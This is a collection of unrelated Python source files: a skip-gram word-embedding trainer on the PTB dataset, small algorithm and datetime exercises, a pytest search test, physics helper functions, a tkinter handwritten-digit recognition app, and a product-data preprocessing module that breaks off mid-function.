import collections
import random
import math
import torch
from torch import nn

def read_ptb():
    """将PTB数据集加载到文本行的列表中"""
    # Readthetrainingset.
    with open( r'D:\书籍资料整理\kaggle\ptb\ptb.train.txt') as f:
        raw_text = f.read()
    return [line.split() for line in raw_text.split('\n')]

def count_corpus(tokens):  #@save
    """统计词元的频率"""
    # 这里的tokens是1D列表或2D列表
    if len(tokens) == 0 or isinstance(tokens[0], list):
        # 将词元列表展平成一个列表
        tokens = [token for line in tokens for token in line]
    return collections.Counter(tokens)

class Vocab:  #@save
    """文本词表"""
    def __init__(self, tokens=None, min_freq=0, reserved_tokens=None):
        if tokens is None:
            tokens = []
        if reserved_tokens is None:
            reserved_tokens = []
        # 按出现频率排序
        counter = count_corpus(tokens)
        self._token_freqs = sorted(counter.items(), key=lambda x: x[1],
                                   reverse=True)
        # 未知词元的索引为0
        self.idx_to_token = ['<unk>'] + reserved_tokens
        self.token_to_idx = {token: idx
                             for idx, token in enumerate(self.idx_to_token)}
        for token, freq in self._token_freqs:
            if freq < min_freq:
                break
            if token not in self.token_to_idx:
                self.idx_to_token.append(token)
                self.token_to_idx[token] = len(self.idx_to_token) - 1

    def __len__(self):
        return len(self.idx_to_token)

    def __getitem__(self, tokens):
        if not isinstance(tokens, (list, tuple)):
            return self.token_to_idx.get(tokens, self.unk)
        return [self.__getitem__(token) for token in tokens]

    def to_tokens(self, indices):
        if not isinstance(indices, (list, tuple)):
            return self.idx_to_token[indices]
        return [self.idx_to_token[index] for index in indices]

    @property
    def unk(self):  # 未知词元的索引为0
        return 0

    @property
    def token_freqs(self):
        return self._token_freqs

def subsample(sentences, vocab):
    """下采样高频词"""
    # 排除未知词元'<unk>'
    sentences = [[token for token in line if vocab[token] != vocab.unk]
                 for line in sentences]
    counter = count_corpus(sentences)
    num_tokens = sum(counter.values())

    # 如果在下采样期间保留词元，则返回True
    def keep(token):
        return(random.uniform(0, 1) <
               math.sqrt(1e-4 / counter[token] * num_tokens))

    return ([[token for token in line if keep(token)] for line in sentences],
            counter)

def compare_counts(token):
    return (f'"{token}"的数量：'
            f'之前={sum([l.count(token) for l in sentences])}, '
            f'之后={sum([l.count(token) for l in subsampled])}')

def get_centers_and_contexts(corpus, max_window_size):
    """返回跳元模型中的中心词和上下文词"""
    centers, contexts = [], []
    for line in corpus:
        # 要形成“中心词-上下文词”对，每个句子至少需要有2个词
        if len(line) < 2:
            continue
        centers += line
        for i in range(len(line)):  # 上下文窗口中间i
            window_size = random.randint(1, max_window_size)
            indices = list(range(max(0, i - window_size),
                                 min(len(line), i + 1 + window_size)))
            # 从上下文词中排除中心词
            indices.remove(i)
            contexts.append([line[idx] for idx in indices])
    return centers, contexts

class RandomGenerator:
    """根据n个采样权重在{1,...,n}中随机抽取"""
    def __init__(self, sampling_weights):
        # Exclude
        self.population = list(range(1, len(sampling_weights) + 1))
        self.sampling_weights = sampling_weights
        self.candidates = []
        self.i = 0

    def draw(self):
        if self.i == len(self.candidates):
            # 缓存k个随机采样结果
            self.candidates = random.choices(
                self.population, self.sampling_weights, k=10000)
            self.i = 0
        self.i += 1
        return self.candidates[self.i - 1]

def get_negatives(all_contexts, vocab, counter, K):
    """返回负采样中的噪声词"""
    # 索引为1、2、...（索引0是词表中排除的未知标记）
    sampling_weights = [counter[vocab.to_tokens(i)]**0.75
                        for i in range(1, len(vocab))]
    all_negatives, generator = [], RandomGenerator(sampling_weights)
    for contexts in all_contexts:
        negatives = []
        while len(negatives) < len(contexts) * K:
            neg = generator.draw()
            # 噪声词不能是上下文词
            if neg not in contexts:
                negatives.append(neg)
        all_negatives.append(negatives)
    return all_negatives

#@save
def batchify(data):
    """返回带有负采样的跳元模型的小批量样本"""
    max_len = max(len(c) + len(n) for _, c, n in data)
    centers, contexts_negatives, masks, labels = [], [], [], []
    #masks,实际
    for center, context, negative in data:
        cur_len = len(context) + len(negative)
        centers += [center]
        contexts_negatives += \
            [context + negative + [0] * (max_len - cur_len)]
        masks += [[1] * cur_len + [0] * (max_len - cur_len)]
        labels += [[1] * len(context) + [0] * (max_len - len(context))]
    return (torch.tensor(centers).reshape((-1, 1)), torch.tensor(
        contexts_negatives), torch.tensor(masks), torch.tensor(labels))

class PTBDataset(torch.utils.data.Dataset):
    def __init__(self, centers, contexts, negatives):
        assert len(centers) == len(contexts) == len(negatives)
        self.centers = centers
        self.contexts = contexts
        self.negatives = negatives

    def __getitem__(self, index):
        return (self.centers[index], self.contexts[index],
                self.negatives[index])

    def __len__(self):
        return len(self.centers)

#---------------------模型部分函数---------------------------
def skip_gram(center, contexts_and_negatives, embed_v, embed_u):
    #这里有些疑问的,为啥第二层用contexts_and_negatives来乘.
    #contexts_and_negatives是形如这样的张量[12, 140, 5277, 3054, 1580]
    #embedding层的作用就是将上边索引为.12,140,5277,3054,1580的给取出来
    #注意仅做取出的动作,因为其实实际上,one-hot响应的位置为1,所以只取出来
    #最后用两个权重矩阵相乘就是输出.
    #再注意contexts_negatives这里是填充过的,是否是必要的就不知道了.并且使用为0填充会额外取出0向量.
    #再计算损失函数时会引入额外计算量
    v = embed_v(center)
    u = embed_u(contexts_and_negatives)
    pred = torch.bmm(v, u.permute(0, 2, 1))
    return pred

class SigmoidBCELoss(nn.Module):
    # 带掩码的二元交叉熵损失
    # 这里猜测weight=0的不参与损失函数的计算,不然整个逻辑是有问题的.
    def __init__(self):
        super().__init__()

    def forward(self, inputs, target, mask=None):
        out = nn.functional.binary_cross_entropy_with_logits(
            inputs, target, weight=mask, reduction="none")
        return out.mean(dim=1)

def sigmd(x):
    return -math.log(1 / (1 + math.exp(-x)))

class Accumulator:  # @save
    """在n个变量上累加"""

    def __init__(self, n):
        self.data = [0.0] * n

    def add(self, *args):
        self.data = [a + float(b) for a, b in zip(self.data, args)]

    def reset(self):
        self.data = [0.0] * len(self.data)

    def __getitem__(self, idx):
        return self.data[idx]

def try_gpu(i=0):  #@save
    """如果存在，则返回gpu(i)，否则返回cpu()"""
    if torch.cuda.device_count() >= i + 1:
        return torch.device(f'cuda:{i}')
    return torch.device('cpu')

def train(net, data_iter, lr, num_epochs, device=try_gpu()):
    def init_weights(m):
        if type(m) == nn.Embedding:
            nn.init.xavier_uniform_(m.weight)
    net.apply(init_weights)
    net = net.to(device)
    optimizer = torch.optim.Adam(net.parameters(), lr=lr)

    # 规范化的损失之和，规范化的损失数
    metric = Accumulator(2)
    for epoch in range(num_epochs):
        for i, batch in enumerate(data_iter):
            optimizer.zero_grad()
            center, context_negative, mask, label = [
                data.to(device) for data in batch]

            # out = nn.functional.binary_cross_entropy_with_logits(
            #     inputs, target, weight=mask, reduction="none")

            pred = skip_gram(center, context_negative, net[0], net[1])
            # print(len(vocab),context_negative.shape,pred.shape)
            # print(pred)

            l = (loss(pred.reshape(label.shape).float(), label.float(), mask)
                     / mask.sum(axis=1) * mask.shape[1])
            l.sum().backward()
            optimizer.step()
            metric.add(l.sum(), l.numel())

    print(f'loss {metric[0] / metric[1]:.3f}, ')

if __name__ == '__main__':
    sentences = read_ptb()
    #建立语料库  语料库包含,索引和词频表
    vocab = Vocab(sentences, min_freq=10)
    #下采样
    subsampled, counter = subsample(sentences, vocab)
    print(compare_counts('the'))

    #将句子中的词元转换为索引
    corpus = [vocab[line] for line in subsampled]
    print(corpus[:3])
    #提取中心词和上下文词
    all_centers, all_contexts = get_centers_and_contexts(corpus, 5)
    print(f'# “中心词-上下文词对”的数量: {sum([len(contexts) for contexts in all_contexts])}')
    #负采样
    all_negatives = get_negatives(all_contexts, vocab, counter, 5)

    dataset = PTBDataset(all_centers, all_contexts, all_negatives)
    batch_size=3
    num_workers=2
    data_iter = torch.utils.data.DataLoader(
        dataset, batch_size, shuffle=True,
        collate_fn=batchify, num_workers=num_workers)

    names = ['centers', 'contexts_negatives', 'masks', 'labels']
    # for batch in data_iter:
    #     for name, data in zip(names, batch):
    #         print(name, 'shape:', data.shape)
    #     break

    batch_size, max_window_size, num_noise_words = 512, 5, 5
    embed_size = 100
    net = nn.Sequential(nn.Embedding(num_embeddings=len(vocab),
                                     embedding_dim=embed_size),
                        nn.Embedding(num_embeddings=len(vocab),
                                     embedding_dim=embed_size))
    loss = SigmoidBCELoss()

    lr, num_epochs = 0.002, 5
    train(net, data_iter, lr, num_epochs)

python/深度学习/torch学习/动手学习深度学习/7.NLP/数据文件处理.py


def findMin(num):
    left, right = 0, len(num) - 1
    while left < right and num[left] > num[right]:
        mid = (left + right) // 2
        if num[left] <= num[mid]:
            left = mid + 1
        elif num[left] > num[mid]:
            right = mid
    return num[left]
rawInput=input().split(',')
nums=[]
for item in rawInput:nums.append(int(item))
print(findMin(nums))


"""
This test covers searching for new phrase from the result page.
"""

from pages.result_page import ResultPage
import pytest

@pytest.mark.parametrize('phrase, new_phrase', [('circle', 'gold'), ('rectangle', 'lead'), ('triangle', 'tin')])
def test_search_from_result_page(browser, phrase, new_phrase):
    # Arrange: Create the ResultPage object
    result_page = ResultPage(browser)

    # Act: Perform the search with the original phrase
    result_page.load_result_page(phrase)

    # Assert: Check if the original phrase is present in the titles
    for title in result_page.get_result_link_titles():
        assert phrase.lower() in title.lower()

    # Act: Search for the new phrase from the page
    result_page.search_phrase(new_phrase)

    # Assert: Check if the new search phrase is present in the titles
    for title in result_page.get_result_link_titles():
        assert new_phrase.lower() in title.lower()

    # Assert: Check if search box has the new search phrase
    value = result_page.get_search_box_value()
    assert new_phrase in value


"""uso de la libreria de fechas y tiempos"""

from datetime import date, time, datetime

fecha = date.today()
print("La fecha a manejar es la siguiente: {}".format(fecha))

tiempo = datetime.now()

print("El tiempo actual es: {}".format(tiempo))

anio = tiempo.year
mes = tiempo.month
dia = tiempo.day

print("El año actual es: {}".format(anio))
print("El mes actual es: {}".format(mes))
print("El dia actual es: {}".format(dia))

"""USo del datetime para extraer la hora, minutos y segundos"""

hora = tiempo.hour      #Obtenemos la hora
minuto = tiempo.minute  #Obtenemos el minuto
segundo = tiempo.second #Obtenemos el segundo

print("La hora exacta son las : {} horas con {} minutos y {} segundos".format(hora, minuto, segundo))


import numpy as np
import math

def Vthi_func(T_i,M):
    kB=1.380649e-23     #Boltzmann Constant [J/K]
    N_A=6.02214076e23   #Avogadro constant [mol^-1]
    m=M/N_A             #Molar mass -> molecular mass
    V_th=np.sqrt((8*kB*T_i)/(np.pi*m))
    return V_th

def fy_func(y):
    term1=np.exp(-4*y**2./np.pi)
    term2=2*y*(1-math.erf(2*y/np.sqrt(np.pi)))
    fy=term1-term2
    return fy

def rhoo_func(F,pc,yo,rhos):
    num=np.pi*(fy_func(yo)*(pc-2.)+2.)+16*yo**2.
    denom=np.pi*(fy_func(yo)*pc+4*yo)**2.
    rhoo=F*pc*(num/denom)*rhos
    return rhoo

def Vtho_func(pc,yo,T_i,M):
    num=np.pi*(fy_func(yo)*pc+4.*yo)
    denom=np.pi*(fy_func(yo)*(pc-2)+2)+16*yo**2.
    Vtho=(num/denom)*Vthi_func(T_i,M)
    return Vtho

def q(F,pc,yo,rhos,T_i,M):
    q=(1/4.)*fy_func(yo)*rhoo_func(F,pc,yo,rhos)*Vtho_func(pc,yo,T_i,M)
    return q

def energy_func(yo,F,pc,rhos,T_i,M):
    term1=(1/2.)*yo*(yo**2.+np.pi)*rhoo_func(F,pc,yo,rhos)*\
                Vtho_func(pc,yo,T_i,M)**3.
    term2=(7*np.pi/16.)*pc*((1/4.)*F*rhos*Vthi_func(T_i,M)**3.-\
                            q(F,pc,yo,rhos,T_i,M)*Vtho_func(pc,yo,T_i,M)**2.)
    zero=term1/term2-1.     #The eqn rearranged to be equal to 0.
    return zero


import tkinter as tk
from tkinter import *
from tkinter import messagebox
from PIL import Image, ImageTk

window=tk.Tk()
window.title("Project")
window.resizable(0,0)

load1 = Image.open("letters_inverse.png")
photo1 = ImageTk.PhotoImage(load1)

header = tk.Button(window, image=photo1)
header.place(x=5,y=0)

canvas1  = Canvas(window, width=500, height=250, bg='ivory')
canvas1.place(x=5, y=120)

l1=tk.Label(canvas1,text="Digit",font=('Algerian',20))
l1.place(x=5,y=0)

t1=tk.Entry(canvas1,width=20, border=5)
t1.place(x=150, y=5)

def screen_capture():
   import pyscreenshot as ImageGrab
   import time
   import os
   os.startfile("C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Accessories/Paint")
   s1=t1.get()
   os.chdir("D:/TRÍ TUỆ NHÂN TẠO/AppDigitRecog/captured_images")
   os.mkdir(s1)
   os.chdir("D:/TRÍ TUỆ NHÂN TẠO/AppDigitRecog/")

   images_folder="captured_images/"+s1+"/"
   time.sleep(15)
   for i in range(0,5):
       time.sleep(8)
       im=ImageGrab.grab(bbox=(60,170,400,550)) #x1,y1,x2,y2
       print("saved......",i)
       im.save(images_folder+str(i)+'.png')
       print("clear screen now and redraw now........")
   messagebox.showinfo("Result","Capturing screen is completed!!")

b1=tk.Button(canvas1,text="1. Open paint and capture the screen", font=('Algerian',15),bg="orange",fg="black",command=screen_capture)
b1.place(x=5, y=50)

def generate_dataset():
   import cv2
   import csv
   import glob

   header  =["label"]
   for i in range(0,784):
       header.append("pixel"+str(i))
   with open('dataset.csv', 'a') as f:
       writer = csv.writer(f)
       writer.writerow(header)

   for label in range(10):
       dirList = glob.glob("captured_images/"+str(label)+"/*.png")

       for img_path in dirList:
           im= cv2.imread(img_path)
           im_gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)
           im_gray = cv2.GaussianBlur(im_gray,(15,15), 0)
           roi= cv2.resize(im_gray,(28,28), interpolation=cv2.INTER_AREA)

           data=[]
           data.append(label)
           rows, cols = roi.shape

           ## Add pixel one by one into data array
           for i in range(rows):
               for j in range(cols):
                   k =roi[i,j]
                   if k>100:
                       k=1
                   else:
                       k=0
                   data.append(k)
           with open('dataset.csv', 'a') as f:
               writer = csv.writer(f)
               writer.writerow(data)
   messagebox.showinfo("Result","Generating dataset is completed!!")

b2=tk.Button(canvas1,text="2. Generate dataset", font=('Algerian',15),bg="pink",fg="blue",command=generate_dataset)
b2.place(x=5, y=100)

def train_save_accuracy():
   import pandas as pd
   from sklearn.utils import shuffle
   data  =pd.read_csv('dataset.csv')
   data=shuffle(data)
   X = data.drop(["label"],axis=1)
   Y= data["label"]
   from sklearn.model_selection import train_test_split
   train_x,test_x,train_y,test_y = train_test_split(X,Y, test_size = 0.2)
   import joblib
   from sklearn.svm import SVC
   classifier=SVC(kernel="linear", random_state=6)
   classifier.fit(train_x,train_y)
   joblib.dump(classifier, "model/digit_recognizer")
   from sklearn import metrics
   prediction=classifier.predict(test_x)
   acc=metrics.accuracy_score(prediction, test_y)
   messagebox.showinfo("Result",f"Your accuracy is {acc}")

b3=tk.Button(canvas1,text="3. Train the model and calculate accuracy", font=('Algerian',15),bg="green",fg="white",command=train_save_accuracy)
b3.place(x=5, y=150)

def prediction():
   import joblib
   import cv2
   import numpy as np
   import time
   import pyscreenshot as ImageGrab

   model=joblib.load("model/digit_recognizer")

   img=ImageGrab.grab(bbox=(130,500,500,700))
   img.save("paint.png")

   im = cv2.imread("paint.png")
   load = Image.open("paint.png")
   load = load.resize((280,280))
   photo = ImageTk.PhotoImage(load)

   #Labels can be text or images
   img = Label(canvas3, image=photo, width=280, height=280)
   img.image=photo
   img.place(x=0,y=0)

   im_gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)
   im_gray  =cv2.GaussianBlur(im_gray, (15,15), 0)

   #Threshold the image
   ret, im_th = cv2.threshold(im_gray,100, 255, cv2.THRESH_BINARY)
   roi = cv2.resize(im_th, (28,28), interpolation  =cv2.INTER_AREA)

   rows,cols=roi.shape

   X = []

   ## Add pixel one by one into data array
   for i in range(rows):
       for j in range(cols):
           k = roi[i,j]
           if k>100:
               k=1
           else:
               k=0
           X.append(k)

   predictions  =model.predict([X])

   a1 = tk.Label(canvas3, text="Prediction= ", font=("Algerian",20))
   a1.place(x=5, y=350)

   b1 = tk.Label(canvas3, text=predictions[0], font=("Algerian",20))
   b1.place(x=200, y=350)

b4=tk.Button(canvas1,text="4. Live prediction", font=('Algerian',15),bg="white",fg="red",command=prediction)
b4.place(x=5, y=200)

canvas2 = Canvas(window, width=500, height=270, bg='black')
canvas2.place(x=5, y=380)

def activate_paint(e):
   global lastx, lasty
   canvas2.bind('<B1-Motion>', paint)
   lastx, lasty = e.x, e.y

def paint(e):
   global lastx, lasty
   x,y = e.x, e.y
   canvas2.create_line((lastx,lasty,x,y), width=40, fill="white")
   lastx, lasty = x,y

canvas2.bind('<1>', activate_paint)

def clear():
   canvas2.delete("all")

btn = tk.Button(canvas2, text="clear", fg="white", bg="green", command=clear)
btn.place(x=0,y=0)

canvas3 = Canvas(window, width=280, height=530, bg="green")
canvas3.place(x=515, y=120)

window.geometry("800x680")
window.mainloop()


from itertools import chain
from typing import Dict, List, Tuple
import string

import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import seaborn as sns

from sklearn.compose import ColumnTransformer
from sklearn.metrics.pairwise import rbf_kernel, cosine_similarity
from sklearn.preprocessing import StandardScaler, OneHotEncoder, MultiLabelBinarizer
from sklearn.pipeline import Pipeline, FeatureUnion
from sklearn.model_selection import train_test_split
from prince import CA

FIXED_COLUMN_NAMES = [
    'id', 'supplier_id', 'category_id', 'category_name', 'title',
    'model_name', 'description_short', 'description_middle', 'description_long',
    'summary_short', 'summary_long', 'warranty', 'is_limited', 'on_market', 'quality',
    'url_details', 'url_manual', 'url_pdf', 'created_at', 'updated_at', 'released_on',
    'end_of_life_on', 'ean', 'n_variants', 'countries',
    # 'supplier_name',
]

ICE_CAT_ID_LIKE_COLUMN_NAMES = [
    'Customs product code (TARIC)',
    'Master (outer) case GTIN (EAN/UPC)',
    'Bundled software',
    'Shipping (inner) case GTIN (EAN/UPC)',
    'Dimensions (W x D x H) (imperial)',
    'Dimensions printer compartment (W x D x H)',
    'Package dimensions (W x D x H)',
    'Interior dimensions (W x D x H)',
    'Package dimensions (WxDxH)',
    'Dimensions (WxDxH)',
    'Exterior dimensions (WxDxH)',
    'Weight (imperial)',
    'Board size (W x D)',
    'Case or master carton dimensions (W x D x H)',
    'Pallet GTIN (EAN/UPC)',
    'Pallet dimensions (W x D x H)',
    'Pallet dimensions (W x D x H) (imperial)',
    'Pole dimensions (W x D x H)',
    'Slot size (LxWxH)',
]

class MultiHotEncoder(OneHotEncoder):
    def __init__(self, handle_unknown='ignore'):
        super().__init__(
            drop=None,
            sparse=False,
            dtype=np.float64,
            handle_unknown=handle_unknown
        )
        self.classes = []

    def fit(self, X, y=None):
        X_list, n_samples, n_features = self._check_X(X)
        self.classes = []
        for i in range(n_features):
            Xi = X_list[i]

            # Assume that each cell value type is a list -- containing one or more values
            cats = np.unique(list(chain.from_iterable(Xi)))

            self.classes.append(cats)
        return self

    def transform(self, X, y=None):
        X_list, n_samples, n_features = self._check_X(X)

        if n_features != len(self.classes):
            raise ValueError(
                "The number of features in X is different to the number of "
                "features of the fitted data. The fitted data had {} features "
                "and the X has {} features."
                .format(len(self.classes,), n_features)
            )

        output = []
        for i in range(n_features):
            Xi = X_list[i]
            classes_i = self.classes[i]
            binarizer = MultiLabelBinarizer(classes=classes_i)
            output.append(binarizer.fit_transform(Xi))

        return np.concatenate(output, axis=1)

    def fit_transform(self, X, y=None):
        return self.fit(X, y).transform(X, y)

def get_feature_columns(dataframe: pd.DataFrame, remove_id_like_columns: bool=False) -> List[str]:
    all_cols = set(dataframe.columns)
    fixed_cols = set(FIXED_COLUMN_NAMES)
    id_like_cols = set(ICE_CAT_ID_LIKE_COLUMN_NAMES) if remove_id_like_columns else set()
    disjoint_set = all_cols - fixed_cols - id_like_cols
    return list(sorted(disjoint_set))

def get_unique_value_lengths(dataframe: pd.DataFrame, col_name: str):
    unique_vals = map(lambda r: str(r), dataframe[col_name].unique())
    unique_vals = filter(lambda r: r != 'nan', unique_vals)
    unique_vals = map(lambda r: len(r), unique_vals)
    unique_vals = list(unique_vals)
    return np.array(unique_vals)

def split_and_flatten(arr: list) -> List[str]:
    arr_splitted = [str(v).split(',') for v in arr]
    arr_flattened = [v.strip() for v in chain.from_iterable(arr_splitted)]
    return arr_flattened

def inferred_type(dataframe: pd.DataFrame, col_name: str, max_cat_value_count: int=1000) -> np.dtype:
    is_datetime_col = dataframe[col_name].str.match('(\d{2,4}(-|\/|\\|\.| )\d{2}(-|\/|\\|\.| )\d{2,4})+').all()
    if is_datetime_col:
        return 'datetime'

    is_int32 = dataframe[col_name].str.match('\d{1,6}$').all()
    if is_int32:
        return 'int32'

    is_float = dataframe[col_name].str.match(r'\d{1,6}(\.\d{1,5})?$').all()
    if is_float:
        return 'float'

    unique_vals = dataframe[col_name].unique()
    n_unique = unique_vals.shape[0]

    if n_unique == 2 or n_unique == 3:
        bool_vals = np.array(['(N/A)', 'N', 'Y'], dtype='str')
        possible_bool_vals = np.array(pd.DataFrame(unique_vals).fillna('(N/A)')[0])
        if np.isin(possible_bool_vals, bool_vals).all():
            return 'bool'

    if n_unique >= 2 and n_unique < max_cat_value_count:
        unique_val_lengths = get_unique_value_lengths(dataframe, col_name)
        if np.max(unique_val_lengths) > 300:
            # print(f'{col_name} -> {np.max(unique_val_lengths)}')
            return 'object'

        # Detect multi-label categories
        unique_vals_with_seperator = [str(v) for v in unique_vals if ',' in str(v)]
        unique_vals_no_sep = list(set(unique_vals) - set(unique_vals_with_seperator))
        unique_vals_multi = list(set(split_and_flatten(unique_vals_with_seperator)))
        if len(set(unique_vals_no_sep).intersection(set(unique_vals_multi))) > 1:
            return 'multi-category'

        return 'category'

    return 'object'

def filter_rows(dataframe: pd.DataFrame, min_count_per_category: int=50):
    # Count number of rows per category
    df_count_by_category = dataframe.groupby('category_name').agg({'id': 'count'}).rename(columns={'id': 'n_rows'})

    # Find categories with at least N amount of rows
    categories = list(df_count_by_category[df_count_by_category.n_rows > min_count_per_category].index)

    # Delete rows with few that N amount of rows per category
    return dataframe[dataframe.category_name.isin(categories)]

def get_product_feature_columns_for_training(dataframe: pd.DataFrame, min_count_per_feature:int=10):
    # Get columns that specify features of the products
    product_feature_columns = get_feature_columns(dataframe, remove_id_like_columns=True)

    # Find columns that have too few specified values
    n_rows = dataframe.shape[0]
    excluded_cols = []
    for col in product_feature_columns:
        n_filled = n_rows - dataframe[col].isna().sum()
        if n_filled < min_count_per_feature:
            excluded_cols.append(col)

    # Manually exclude columns if they were not caught by the
    # heuristic above.
    excluded_cols += [
        'category_name',  # This should not be present in the X.
        'Customs product code (TARIC)',
        'Master (outer) case GTIN (EAN/UPC)',
        'Bundled software',
        'Shipping (inner) case GTIN (EAN/UPC)',
        'Dimensions (W x D x H) (imperial)',
        'Dimensions printer compartment (W x D x H)',
        'Package dimensions (W x D x H)',
        'Interior dimensions (W x D x H)',
        'Package dimensions (WxDxH)',
        'Dimensions (WxDxH)',
        'Exterior dimensions (WxDxH)',
        'Weight (imperial)',
        'supplier_name',
    ]

    # Find columns that have enough values
    product_features_to_use = [
        col
        for col in product_feature_columns
        if col not in excluded_cols
    ]

    return product_features_to_use

def detect_and_fix_column_types(dataframe: pd.DataFrame):
    df_cleaned = dataframe.copy()
    # Use proper dtypes
    for col in df_cleaned.columns:
        dtype = inferred_type(df_cleaned, col)
        if dtype == 'int32':
            df_cleaned[col].fillna(0, inplace=True)
        elif dtype == 'float':
            df_cleaned[col].fillna(0.0, inplace=True)
        elif dtype == 'bool':
            df_cleaned[col].fillna('N', inplace=True)
            df_cleaned[col] = df_cleaned[col].str.replace('N', '0')
            df_cleaned[col] = df_cleaned[col].str.replace('Y', '1')
            df_cleaned[col] = df_cleaned[col].astype('int')
        elif dtype == 'category':
            df_cleaned[col].fillna('(N/A)', inplace=True)
        df_cleaned[col] = df_cleaned[col].astype(dtype)
    return df_cleaned

def split_train_test(df_data: pd.DataFrame, test_size: float=0.2):
    X = list(df_data.index)
    y = list(df_data.category_id)

    X_train, X_test, y_train, y_test = train_test_split(
        X, y, test_size=test_size, random_state=42, stratify=y
    )

    return df_data.loc[X_train], df_data.loc[X_test]

def compute_column_stats(dataframe: pd.DataFrame):
    dmap = {
        'column': [],
        'suggested_type': [],
        'n_unique': [],
        'len_total': [],
        'len_min': [],
        'len_max': [],
        'len_avg': [],
        'values': [],
        'n_filled': [],
    }

    n_rows = dataframe.shape[0]

    for col in dataframe.columns:
        dmap['column'].append(col)
        dmap['suggested_type'].append(inferred_type(dataframe, col))

        dmap['n_filled'].append( n_rows - dataframe[col].isna().sum() )

        dmap['n_unique'].append(dataframe[col].unique().shape[0])
        unique_val_lengths = get_unique_value_lengths(dataframe, col)
        dmap['len_total'].append(len(unique_val_lengths))
        dmap['len_min'].append(np.min(unique_val_lengths))
        dmap['len_max'].append(np.max(unique_val_lengths))
        dmap['len_avg'].append(np.mean(unique_val_lengths))

        vals = ' | '.join([str(s) for s in list(dataframe[col].unique())[0:5]])
        dmap['values'].append(vals)

    return pd.DataFrame(dmap)

def create_variance_scree_plot(variance_ratios):
    n_items = len(variance_ratios)
    fig, ax = plt.subplots(figsize=(15, 7))
    ax.plot(np.arange(1, n_items + 1), np.cumsum(variance_ratios))
    ax.bar(np.arange(1, n_items + 1), variance_ratios)
    ax.set_xlabel('Number of Components')
    ax.set_ylabel('Cumulative Explained Variance');

def find_top_n_categories(dataframe: pd.DataFrame, top_n: int=10):
    return list(dataframe
        .groupby(['category_name'])
        .count()[['id']]
        .sort_values('id', ascending=False)
        .head(top_n)
        .index
    )

def get_fill_ratios_for_product_features_per_category(dataframe: pd.DataFrame):
    # Only consider product features that can be used for comparing distances between products.
    col_product_features = get_feature_columns(dataframe, remove_id_like_columns=True)

    # Find the number of filled values for each product feature and each product category.
    df_fill_per_category = dataframe[col_product_features].groupby(dataframe.category_name).count()
    df_fill_per_category = df_fill_per_category.transpose()

    # For each product feature, sum the number of filled values across categories.
    df_fill_per_category['total_filled'] = df_fill_per_category.sum(axis=1)

    # Fetch all categories.
    categories = dataframe.category_name.unique()

    # Prepare the result map
    category_feature_map = dict()

    for category in categories:
        # Find number of products in the given category
        n_rows_for_category = dataframe[dataframe.category_name == category].shape[0]

        # Find valid product features for the given category by filtering out
        # the product features that do not have any filled value.
        df_cat_features = df_fill_per_category[df_fill_per_category[category] > 0][category]
        category_feature_names = df_cat_features.index.tolist()

        # Compute fill ratio for each product feature in the given category.
        fill_ratios = (df_fill_per_category[df_fill_per_category[category] > 0][category] / n_rows_for_category).tolist()

        # Store the data in the map
        category_feature_map[category] = {k:v for k, v in zip(category_feature_names, fill_ratios)}

    return category_feature_map

def get_valid_categories_per_product_feature(fill_ratio: Dict[str, Dict[str, float]]) -> Dict[str, List[str]]:
    valid_cats_per_feat = dict()
    for category, feats_map in fill_ratio.items():
        for feat in feats_map.keys():
            if not feat in valid_cats_per_feat:
                valid_cats_per_feat[feat] = []
            valid_cats_per_feat[feat].append(category)
    return valid_cats_per_feat

def prepare_for_preprocessing(dataframe: pd.DataFrame, valid_cats_per_feat: Dict[str, List[str]]=None) -> Tuple[pd.DataFrame, Dict[str, List[str]]]:
    df = dataframe.copy()

    if valid_cats_per_feat is None:
        fill_ratios = get_fill_ratios_for_product_features_per_category(df)
        valid_cats_per_feat = get_valid_categories_per_product_feature(fill_ratios)

    product_feature_columns = get_product_feature_columns_for_training(df)

    feature_type_map = {
        'binary': [],
        'category': [],
        'multi-category': [],
        'int32': [],
        'float': [],
    }

    for feat in set(product_feature_columns):
        valid_product_categories = valid_cats_per_feat[feat]
        dtype = inferred_type(df, feat)
        filter_cat_not_valid = ~df.category_name.isin(valid_product_categories)

        if dtype in ['category', 'multi-category']:
            # Distinguish between values for which the feature is invalid or N/A.
            # Mark the categories for which the given product feature is not valid for as Invalid.
            # If the category is valid, mark NULL values as Not Available.
            df.loc[filter_cat_not_valid & df[feat].isnull(), feat] = '(Invalid)'
            df.loc[df[feat].isnull(), feat] = '(N/A)'
            df[feat] = df[feat].astype('category' if dtype == 'category' else 'str')
            feature_type_map[dtype].append(feat)

        elif dtype in ['float', 'int32']:
            if (filter_cat_not_valid & df[feat].isnull()).sum() > 0:
                # Create a new binary feature that tracks that the current numerical
                # product feature is invalid for certain product categories.
                feat_invalid = feat + ' Invalid'  # Name of the new feature
                df[feat_invalid] = 0  # Default value is False
                df[feat_invalid] = df[feat_invalid].astype(int)

                # Ensure that the newly created feature is used.
                feature_type_map['binary'].append(feat_invalid)

                # Mark invalid if the product feature is not valid for the
                # categories and value is NULL.
                df.loc[filter_cat_not_valid & df[feat].isnull(), feat_invalid] = 1

            if df[feat].isnull().sum() > 0:
                # Create a binary feature that tracks when the current numerical
                # feature is valid for certain product categories but value is
                # not available for a given product.
                feat_na = feat + ' Not Available'  # Name of the new feature
                df[feat_na] = 0  # Default Value
                df[feat_na] = df[feat_na].astype(int)

                # Ensure that the newly created feature is used downstream.
                feature_type_map['binary'].append(feat_na)

                # Mark valid but unassigned values.
                df.loc[df[feat].isnull(), feat_na] = 1

            df[feat].fillna(0.0, inplace=True)
            df[feat] = df[feat].astype(dtype)
            feature_type_map[dtype].append(feat)

    sorted_cols = list(sorted(df.columns.tolist()))
    return df[sorted_cols], feature_type_map

def preprocess_dataframe(dataframe: pd.DataFrame, valid_cats_per_feat: Dict[str, List[str]]=None) -> np.array:
    """Preprocesses raw data into numerical features.
    """

    # Prepare for preprocessing
    df, feat_by_type = prepare_for_preprocessing(dataframe, valid_cats_per_feat)

    # Separate different types of features.
    numeric_features = list(sorted(feat_by_type['float'] + feat_by_type['int32']))
    categorical_features = feat_by_type['category']
    multi_categorical_features = feat_by_type['multi-category']
    binary_features = feat_by_type['binary']

    # Sanity check!
    all_features = numeric_features + categorical_features + multi_categorical_features + binary_features
    assert 'category_name' not in all_features, 'Product category variable should not be present!'

